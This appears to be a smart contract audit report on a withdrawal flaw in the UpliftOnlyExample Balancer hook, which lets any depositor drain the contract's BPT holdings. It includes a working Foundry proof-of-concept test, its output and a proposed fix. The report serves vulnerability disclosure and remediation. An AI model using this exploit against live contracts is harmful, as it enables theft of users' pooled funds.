Summary
When removing liquidity proportionally UpliftOnlyExample allows malicious users to withdraw more BPT tokens than they deposited, potentially draining the entire contract's BPT balance.
Vulnerability Details
The UpliftOnlyExample contract implements a deposit/withdrawal system where:
Users deposit tokens via addLiquidityProportional
BPT tokens are minted to address(this) (contract)
Contract tracks deposits in poolsFeeData mapping
Users receive NFTs representing their deposits
However, the removeLiquidityProportional function only checks if a user has any deposit record, not their actual deposited amount:
function removeLiquidityProportional(
uint256 bptAmountIn,
uint256[] memory minAmountsOut,
bool wethIsEth,
address pool
) external payable saveSender(msg.sender) returns (uint256[] memory amountsOut) {
uint depositLength = poolsFeeData[pool][msg.sender].length;
if (depositLength == 0) {
revert WithdrawalByNonOwner(msg.sender, pool, bptAmountIn);
}
amountsOut = _removeLiquidityProportional(
pool,
@> address(this),
@> msg.sender,
@> bptAmountIn,
@> minAmountsOut,
wethIsEth,
abi.encodePacked(msg.sender)
);
}
Notice that:
BPT tokens are held by contract (address(this))
Function only checks poolsFeeData[pool][msg.sender].length > 0
No validation of bptAmountIn against user's actual deposits
Meaning user can set the maximum amount in of BPT tokens held by the contract and that's it, the contract will remove all the liquidity from Balancer and return it to msg.sender.
Here, the code would have one last chance to make this validation, which would be on the onAfterRemoveLiquidity, but unfortunately, this is not done.
Impact
User can drain all the pool funds as long as he has one entry deposit in that pool.
This can be extended to all the pools, allowing user to drain all the funds held by the contract.
PoC
Add the following test on UpliftExample.t.sol:
function testAlice_willStealAllTokensFromThePool() public {
uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)].toMemoryArray();
uint256 aliceDAIBalanceBefore = dai.balanceOf(alice);
uint256 aliceUSDCBalanceBefore = usdc.balanceOf(alice);
console.log("Balance of alice's DAI before: %e", aliceDAIBalanceBefore);
console.log("Balance of alice's USDC before: %e", aliceUSDCBalanceBefore);
vm.prank(bob);
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmount, false, bytes(""));
vm.stopPrank();
vm.prank(alice);
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmount, false, bytes(""));
vm.stopPrank();
uint256 bptInTheRouter = PoolMock(pool).balanceOf(address(upliftOnlyRouter));
console.log("bptInTheRouter: %e", bptInTheRouter);
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
BaseVaultTest.Balances memory balancesBefore = getBalances(updateWeightRunner.getQuantAMMAdmin());
vm.startPrank(alice);
upliftOnlyRouter.removeLiquidityProportional(bptInTheRouter, minAmountsOut, false, pool);
vm.stopPrank();
BaseVaultTest.Balances memory balancesAfter = getBalances(updateWeightRunner.getQuantAMMAdmin());
console.log("Balance of alice's DAI after: %e", dai.balanceOf(alice));
console.log("Balance of alice's USDC after: %e", usdc.balanceOf(alice));
bptInTheRouter = PoolMock(pool).balanceOf(address(upliftOnlyRouter));
console.log("bptInTheRouter after: %e", bptInTheRouter);
vm.assertGt(dai.balanceOf(alice), aliceDAIBalanceBefore, "alice's couldn't steal tokens");
vm.assertGt(usdc.balanceOf(alice), aliceUSDCBalanceBefore, "alice's couldn't steal tokens 2");
}
On the function onAfterRemoveLiquidityfrom UpliftOnlyExample.solfix the following bug(I reported this bug here: https://codehawks.cyfrin.io/c/2024-12-quantamm/s/cm5coy9dd0005lfh8y14mxv4d):
- for (uint256 i = localData.feeDataArrayLength - 1; i >= 0; --i) {
+ for (uint256 i = localData.feeDataArrayLength - 1; i > 0; --i) {
Now run forge test --match-test testAlice_willStealAllTokensFromThePool -vv
Output:
Ran 1 test for test/foundry/UpliftExample.t.sol:UpliftOnlyExampleTest
[PASS] testAlice_willStealAllTokensFromThePool() (gas: 1125392)
Logs:
Balance of alice's DAI before: 1e27
Balance of alice's USDC before: 1e27
bptInTheRouter: 4e21
feeAmount: 0e0
bptAmountIn: 4e21
after loop
@> Balance of alice's DAI after: 1.000001e27
@> Balance of alice's USDC after: 1.000001e27
@> bptInTheRouter after: 0e0
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 22.39ms (3.56ms CPU time)
Tools Used
Manual Review & Foundry
Recommendations
The maximum the user could withdraw should be the total amount that he has deposited in the pool. This can be accessed through poolsFeeData[pool][msg.sender].
i.e:
uint256 totalUserDeposits = 0;
for(uint i = 0; i < depositLength; i++) {
totalUserDeposits += poolsFeeData[pool][msg.sender][i].amount;
}
if(bptAmountIn > totalUserDeposits) {
revert ExceedsUserDeposits();
}
